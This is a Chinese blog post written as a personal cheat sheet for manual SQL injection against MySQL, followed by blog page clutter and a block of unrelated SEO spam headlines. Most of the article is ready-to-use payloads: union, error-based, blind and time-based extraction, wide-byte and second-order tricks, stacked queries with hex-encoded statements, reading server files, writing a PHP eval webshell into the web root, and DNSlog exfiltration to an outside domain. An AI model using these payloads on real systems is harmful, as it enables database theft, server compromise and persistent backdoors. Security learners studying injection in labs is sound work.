sql之手工注入思路

2 篇文章 1 订阅
订阅专栏

目录

0x0 前言

0x1 sql查询的词汇

0x2 sql中的查询手段

0x3 sql提权

0x4 注入过程事项

0x5 sql注入提升

0x6 sql注入之盲注&DNSlog注入

0x7 绕过转义

0x8 二次注入

0x9 堆叠注入


0x0 前言

由于手工注入时,经常忘记怎么敲,特意写关于sql注入的常用的注入查询,当作备忘笔记

2022/8/29

0x1 sql查询的词汇

字段:

Schema_name (所有数据库名的字段)

Table_schema (所有数据表的库的字段)

库:

Information_schema (MySQL5.0版本以后才有,用于查询所有数据库的信息)

列:

Schemata (在information_schema中作为查询库的列名)

Columns (列名)

Tables    (表名)

0x2 sql中的查询手段

系统函数:

Version()==@@version

User()

Database()

@@datadir

@@version_compile_os

select mysql.user from user,host,password from user; 查看mysql数据库用户信息
update user set   where   ;修改用户表信息
delete from user where   ;删除用户表信息
insert into user(user,password) values('',''); 添加用户表字段内容
update user set password=password('root') where user='root'; 在MySQL中指定密码类型为root

常用的拼接查询语句函数:

Concat_ws(‘统一符’,’数据‘…)

Group_concat(‘’,’’) 统一逗号分隔

Cocnat() 没有任何符号连接

注入查询:

Limit 0,x 第0行显示到x行的数据

Order by  试探列数

Union select 联合查询

schema_name from information_schema.schemata 查询所有数据库

查看指定数据库中的表名的数量

select count(*) from information_schema.tables where table_schema = 'xxx'

选中数据库名,查找该库所有表的信息

table_name from information_schema.tables where table_schema='数据库名'

查询指定库中表的列名信息

column_name from information_schema.columns where table_name='表名’ and table_schema= '数据库'

查询pikachu中的users表中字段的内容。

group_concat(id,username) from pikachu.users

总结:

Group_conat函数使用的原因,由于前面判断该查询数据列数为2,导致不能一次查询多个数据。在默认数据库中可以不写.以及前面的数据库。Limit 0.x 可以放在注入查询到末尾

0x3 sql提权

前提条件:

User()函数判断该数据库的user用户是否为root

@@global.secure_file_priv 查询有无读取和写入的权限

或者 @global.secure_file 

  • 设置为空,对所有路径均可进行导入导出。

  • 设置为一个目录名字,只允许在该路径下导入导出。

  • 设置为Null,禁止所有导入导出。

show global variables like ‘%数据%’;

读取信息:

在windows加上双斜杠,防止转义。LOAD_FILE(‘’)读取路径中文件的信息

load_file('D:\\ruanjian\\phpstudy\\PHPTutorial\\www\\hh.txt')

写入后门:

由于后门是字符串,需要导入到该路径的php文件里,所以前面需要用双引号。

INTO OUTFILE在在mysql中为导入

select "<?php @eval($_POST['c']);?>" INTO OUTFILE 'D:\\ruanjian\\phpstudy\\PHPTutorial\\www\\hh.php'

0x4 注入过程事项

表名为数字时,要用反引号包起来查询

``

在手工注入的时候,要记住必须使用双引号

第一行是错的

Post请求中需要解码后发送

get请求中需要编码后发送

绕过符号:

MySQL中的内联注释符/*..*/

执行内联符/*!..*/

干扰waf检测可用%0a,%00,%23

闭合符号:

%‘ 模糊查询

‘

“

‘)

)

“)

“))

测试注入点:

And 1=1 (2)

Or 1=1 (2)

0x5 sql注入提升

报错注入,一般用于delete注入和update注入,通常在页面不能正常回显的数据时使用

函数:

mysql 对 xml 数据进 行查询和修改的 xpath 函数,xpath 语法错误

updatexml(1,concat(0x7e,(报错内容),0x7e),1) 前后两个数字随意,中间的为报错信息

extractvalue() 函数同理

注入场景:

查询注入,通过查询获取数据库信息,或者提权

Select * from xxx where name=xxx

删除注入可以删除数据库的信息,或者配合报错函数来获取数据库信息

Delete注入语句为delete from xxx where id=xxx

更新注入可修改数据库的信息,配合报错函数来获取数据库信息,或者提权

update user  set password='' where username=''

插入注入,可添加数据库信息

insert into 表名.() values()

报错注入语句

or updatexml(1,concat(0x7e,(select version()),0x7e),1) or

注意:或者and,当不存在闭合符号的时候,报错语句后面不需要添加and或者or,否则会报错

0x6 sql注入之盲注&DNSlog注入

此情况发生在,当任何闭合符号输入到渗透目标时都处于无回显的情况下使用

  1. 测试注入点的闭合符号

布尔测试法:

测试注入点的时候,注入点一定要为正确的数值或者本来的数值才能判断是否正确

语句:admin’ and 1=’1

此admin或者其他值一定要是渗透目标本身具有的不能删除或者修改,可以通过此原理,当1=1时admin页面值的网页没有任何变化和报错,否则会显示不正常页面

延时测试法:

Sleep函数为延时多少秒,也就是说闭合符号成功闭合的同时会延时10秒,那么这个闭合符号就是正确的。

语句:and sleep(10)--+

注释测试法:

‘ --+ 真

‘ 假

  1. 利用盲注查询数据库信息

Dnslog注入:

由于盲注本省效率过低,通过dnslog的原理,可以获得有回显得信息。但是渗透目标的数据库必须为高权限,并且secure_file_privi的值要为空。回显的时候每次只显示一条,limit。

语句:and load_file(concat('\\\\',(查询内容),'.dng域名\\abc'))--+.

布尔盲注:

所谓布尔,意思就是利用真假的逻辑关系进行判断该结论是否正确。在注入中只需要判断页面是否正常即可,如果不正常结论为假,否则为真

语句:

and length(查询信息)<8--+ 判断信息长度

and left(查询信息,1)='p'--+  猜解从左开始的第一位的信息的字符

and mid(database(),1,7)='pikachu'--+ 猜解1,7的字符为...相比left函数优点是可以逐个字符进行bp配合爆破,同义函数为substr

and ascii(mid(database(),1,7))>1--+ ascii码猜解


也可以使用亦或

0^(ascii(substr((select(flag)from(flag)),1,1))=102)

一个标注的布尔盲注语句:

# 枚举库名
or ascii(substr(database(),1,1)) = ASCII数字

# 或者 以此类推
or ascii(substr(database() from 1 for 1) ) = ASCII数字


# 枚举表名

or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from 1 for 1))=1

# 枚举列名

or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = "flag") from 1 for 1)) = 1

# 枚举字段名

or ascii(substr((select flag from security.flag) from 1 for 1))=1

延时注入:

当页面无论正确还是错误都没有任何变化时,通过对时间的判断进行抉择。

函数利用:

if ,sleep()

if((),sleep(0),sleep(10))

0x7 绕过转义

宽字节注入:

Get请求中使用url编码组合构成gbk汉字编码实现绕过,例如%df+%5c等于繁体字“連“,成功绕过转义成’\’

Post请求中有特殊符号绕过法,特殊符号加闭合符号即可,或者利用%df解码后发送

语句:uname= �'or 1=1#&passwd=&submit=Submit

原理:就是利用前面注入过程事项所讲的,在post请求中需要解码后发送。在bp操作建议。也就是说%df在bp经历了解码过程后发送,造成了post注入效果。法2,随便一个特殊符号也行。

0x8 二次注入

二次注入也称为更新注入,原理在于sql的语句insert和update,用户插入一个恶意语句被过滤了,但是更新数据库中内容的时候又被触发了。

//在php源代码中,由于恶意的攻击载荷导致了php语句的不能正常执行原来的功能,当传入sql语句到数据库中就变成了恶意语句。
//例如admin#注释了php代码后面的语句,在数据库中就变成了admin用户
当注册一个用户时候,payload为admin' or union select 1#
更新到数据库时候为:admin' or unioin select 1 //因为#为注释,只剩下前面的危险sql语句

0x9 堆叠注入

原理为:在MySQL中分号(;)是用来表示一条sql语句的结束。我们在 ; 结束一个sql语句后继续构造下一条语句,也就构造了堆叠注入。堆叠注入相比于联合注入是可以执行任何语句的

常用的查看数据库信息
;show tables; // 查看表
;show databases; //查看数据库
;show columns from 表名;  //查看表名中的列

-->常用堆叠注入获取数据的语句
// prepare…from…是预处理语句,会进行编码转换,总之会提前处理sql语句。
// execute用来执行由SQLPrepare创建的SQL语句。
// SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
意思是通过set变量赋值于@a,同时@a为预处理语句,它可以是字符串
最后通过预处理执行字符串成为了sql语句,命名为hh它来源于@a变量,execute 执行hh

字符串拼接
';set@a=concat('sel','ect * from users;');prepare hh from @a;execute hh;

十六进制绕过
';set@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare hh from @a;execute hh;

利用handler读取表中的数据:
handler 表名 open; //打开一个表
handler 表名 read first;//读取表中第一行数据 
                        //获取下一行数据next 
                        //获取上一行数据PREV
                        //获取最后一行数据LAST
当表名很长的时候,也可以像python一样,打开句柄
handler 表名 open as f;handler f read first;
handler f close;        // 使用完之后,为确保数据库没损坏建议使用关闭

详细可以参考这篇博客

https://www.cnblogs.com/tysec/p/15161004.html#0x04%E5%8F%82%E8%80%83

SQL注入思路
qi_SJQ_的博客
10-30 348
前言:最近在学习小迪师傅的课,特此做下笔记。
DVWA之SQL手工注入
编程界菜姬的博客
06-02 1330
1.注入思路1.判断是否存在注入注入的类型是字符型、数字型还是搜索型2.猜解 SQL 查询语句中的字段数3.确定显示的字段顺序4.获取当前数据库5.获取数据库中的表6.获取表中的字段名7.查询 ...
sql手工注入思路
xhiqe的博客
06-01 629
入坑第一步,给大家分享一下sql手工注入1.先找交互点:一般是url或是搜索框。2.找注入点。3.判断注入类型:用 ' (单引号)。4.判断列数:使用order by5.接着看回显位置:union select6.查询数据库名称 :例如:?id=1 union select 1,database(),37.查询数据表名称 :例如:?id=1 union select 1,table_name,3 from information_schema.tables where table_schema="数据库名称
SQL手工注入
最新发布
2301_78549931的博客
08-05 806
id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。union查询时,如果左右两边都为真,则返回前者查询的结果,所以要让后面我们自己构造的查询语句回显的话,前面id必须填写一个查询不到的数,这里我填的是-1。这些数据库内的信息。
手工注入基本思路
weixin_30596023的博客
05-09 191
手工注入 说下我的基本思路:1、目标站点环境为:Windows+Apache+Mysql+PHP2、存在SQL注入,能否直接写一句话木马3、存在SQL注入,获取数据库中用户口令,登录应用系统后上传webshell4、获取数据库口令登录phpMyAdimin,用phpMyAdmin写入一句话木马不想因为使用扫描工具的缘故,导致服务器出现不稳定的现象,所以就纯手工咯。下面具体来说明下:1、尝试1=1...
Sql注入(手工注入思路、绕过、防御)
Naive的博客
09-26 2895
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
DVWA SQL注入手工注入
马赛克的博客
03-21 3612
本次使用的靶机是看雪论坛为我们提供的在线靶机 地址:http://43.247.91.228:81 账号:admin 密码:password 一:Low级别注入 1. 先在文本框中输入1,单击submit,查看效果 手注的思路:确定页面使用了多少个字段,然后确定各个字段的位置,最后构造SQL语句进行注入 2. 在文本框中输入 1' order by 2#返回正常 1...
墨者靶场—SQL手工注入漏洞测试(MySQL数据库)
weixin_46694260的博客
03-23 7305
0x00 前言 学SQL注入也有一段时间了,找了一个在线靶场,这个题目基本上学会最基本的注入原理和方法都能拿下,废话就不多说了,直接来演示吧~菜鸟渗透,大佬勿喷 0x01 过程 首先我们先稍微看一下题目 通过题目我们可以看出靶场环境是Nginx+PHP+MySQL 那我们现在启动、进入靶场 ...
sql手工注入
qq_45747465的博客
08-25 514
sql注入手工
SQL手工注入总结
Fuzz
09-24 605
0x00、 前言 虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要。本文主要把以前学过的知识做个总结,不会有详细的知识解读,类似于查询手册的形式,便于以后的复习与查阅,文中内容可能会存在错误,望师傅们斧正!! 0x01、 Mysql 手工注入 1.1 联合注入 - ?id=1' order by 4--+ - ?id=0' union select 1,2,3,database()--+ - ?id=0' union se
SQL注入常规思路及奇葩技巧
hl1293348082的专栏
04-10 220
最近在看《SQL注入攻击与防御》这本书,看了之后感觉自己之前的视野和格局还是太小了些。SQLi的应用特别广泛,多种web数据库不说,移动安卓端也存在通用的SQLi。而从语言的角度来看~PHP/JAVA/PYTHON/C#等等~都可以与SQLi联系起来,由语言特性而衍生的SQLi种类。最近还听说Javascript也能写后端了,着实把我高兴坏了,看来PHP这“世界上最好的语言”的称号,要换主了~ 同是弱类型语言,这俩哥们怕是要一绝“高低”。 废话说到这里,由于SQLi体系扩展还没有完成,所以在这里算是总结一
SQL手工注入大全
ECSHOP专属建设
04-09 799
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <div id="content" class= "content mod-cs-content text-content clearfi
SQL手工注入探索旅程(一)
Louisnie
09-30 9327
SQL注入漏洞原理 由于程序没有过滤用户的输入,攻击者通过向服务器提交恶意的SQL查询语句,应用程序接收后错误的将攻击者的输入作为原始的SQL查询语句的一部分执行,导致改变了程序原始的SQL查询逻辑,额外的执行了攻击者构造的SQL查询语句 实验环境: kali:192.168.128.128/24 metasploit:192.168.128.129/24 我们首先看一段很简单的PHP代码查询数据...
SQL 手工注入
热门推荐
枫梓林のBlog
04-25 1万+
SQL 手工注入 文章目录SQL 手工注入0x01 SQL注入概述0x02 SQL 注入原理1.基本概述2.单引号的作用3.SQL 注入流程4.SQL 注入的基本分类3.常见注入方式分类0x03 部署 sqli-labs 学习环境1.sqli-labs 简介2.部署sqli-labs 实验环境2.1 搭建LAMP 环境2.2 检查安装的状态和启动服务2.3 配置 mysq 数据库 root 用户密码2.4 安装 sqli-labs 教学环境2.5 创建快照0x04 安装 hackbar 插件0x05 SQL
关于oracle延时型注入手工注入的思考
06-06
关于Oracle延时型注入手工注入思路,我可以给您提供以下几点思考: 1. 确认注入点:首先需要确认存在注入点,可以通过手动构造一些SQL语句来测试是否存在注入点。 2. 确认注入方式:根据注入点的特点,可以确定...
写文章

热门文章

  • Active Directory的基本概念和功能 5153
  • 江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp) 4506
  • 关于未授权访问的挖掘思路&实战 4469
  • IDT 一款自动化挖掘未授权访问漏洞的信息收集工具 3704
  • XSS跨站脚本攻击(基础详解) 3353

分类专栏

  • Java安全 12篇
  • Java反序列化基础 4篇
  • Java反序列化-CC链 6篇
  • Java反序列化进阶 1篇
  • 框架漏洞 1篇
  • WEB安全 9篇
  • PHP反序列化 3篇
  • SSRF 1篇
  • 逻辑漏洞 1篇
  • 文件安全 1篇
  • XXE 1篇
  • XSS 1篇
  • SQL注入 2篇
  • 文件上传 2篇
  • 工具 1篇
  • APT 13篇
  • 漏洞挖掘 6篇
  • CTF刷题记录 7篇
  • misc 1篇
  • 中职网安比赛 3篇
  • 逆向 3篇
  • python 2篇
  • 杂项 3篇
  • PWN 1篇

最新评论

  • 关于未授权访问的挖掘思路&实战

    永远回不去的那天: burpsuite

  • 关于未授权访问的挖掘思路&实战

    小小呼172: 你好 请问这个抓包,修改并发包的工具是什么啊,新手小白求解答

  • 关于未授权访问的挖掘思路&实战

    补天阁: 感谢师傅,收获很大,好文!

  • 江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)

    永远回不去的那天: 多刷点题就知道了

  • 江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)

    2302_81009438: 小白想问一下提交payload进行验证,是怎么提交表情包

大家在看

  • Java实现数据一致性
  • 端口号的分类
  • Python学习第五天 8
  • 中国电子游戏在俄罗斯流行的因素
  • 必学的排序算法——冒泡排序

最新文章

  • Java反序列化-RMI流程分析
  • Shiro反序列化漏洞-Shiro550流程分析
  • Java反序列化-CommonsBeanUtils 1链分析
2024年17篇
2023年26篇
2022年16篇

目录

目录

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

永远回不去的那天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或 充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值

深圳坪山网站建设公司不发文的网站可以优化吗服装行业网站优化要多少钱东莞seo网站优化代码昆明网站seo优化服务沧州专业网站优化淘宝网网站优化的重庆网站优化咨询做网站优化常用的工具有青岛鲁之讯网站优化青岛网站建设和优化好的婚纱摄影网站优化专业团队韶关网站优化关键词工具网站优化矩阵图乐至网站优化推广服务焦作实力网站优化公司张湾区网站seo优化排名益阳网站建设优化怎么速优化网站排名网站排名云优化工具海门网站优化好不好咸宁网站优化推广公司淄博网站优化费用网站seo人工优化怎样做思考网站seo优化的转化问题金堂网站优化推广公司中山整站网站优化优化公司网站即将易 速达秦皇岛商城网站优化哪家好网站的优化度云速捷超棒巢湖网站优化价格多少香港通过《维护国家安全条例》两大学生合买彩票中奖一人不认账让美丽中国“从细节出发”19岁小伙救下5人后溺亡 多方发声卫健委通报少年有偿捐血浆16次猝死汪小菲曝离婚始末何赛飞追着代拍打雅江山火三名扑火人员牺牲系谣言男子被猫抓伤后确诊“猫抓病”周杰伦一审败诉网易中国拥有亿元资产的家庭达13.3万户315晚会后胖东来又人满为患了高校汽车撞人致3死16伤 司机系学生张家界的山上“长”满了韩国人?张立群任西安交通大学校长手机成瘾是影响睡眠质量重要因素网友洛杉矶偶遇贾玲“重生之我在北大当嫡校长”单亲妈妈陷入热恋 14岁儿子报警倪萍分享减重40斤方法杨倩无缘巴黎奥运考生莫言也上北大硕士复试名单了许家印被限制高消费奥巴马现身唐宁街 黑色着装引猜测专访95后高颜值猪保姆男孩8年未见母亲被告知被遗忘七年后宇文玥被薅头发捞上岸郑州一火锅店爆改成麻辣烫店西双版纳热带植物园回应蜉蝣大爆发沉迷短剧的人就像掉进了杀猪盘当地回应沈阳致3死车祸车主疑毒驾开除党籍5年后 原水城县长再被查凯特王妃现身!外出购物视频曝光初中生遭15人围殴自卫刺伤3人判无罪事业单位女子向同事水杯投不明物质男子被流浪猫绊倒 投喂者赔24万外国人感慨凌晨的中国很安全路边卖淀粉肠阿姨主动出示声明书胖东来员工每周单休无小长假王树国卸任西安交大校长 师生送别小米汽车超级工厂正式揭幕黑马情侣提车了妈妈回应孩子在校撞护栏坠楼校方回应护栏损坏小学生课间坠楼房客欠租失踪 房东直发愁专家建议不必谈骨泥色变老人退休金被冒领16年 金额超20万西藏招商引资投资者子女可当地高考特朗普无法缴纳4.54亿美元罚金浙江一高校内汽车冲撞行人 多人受伤

深圳坪山网站建设公司 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化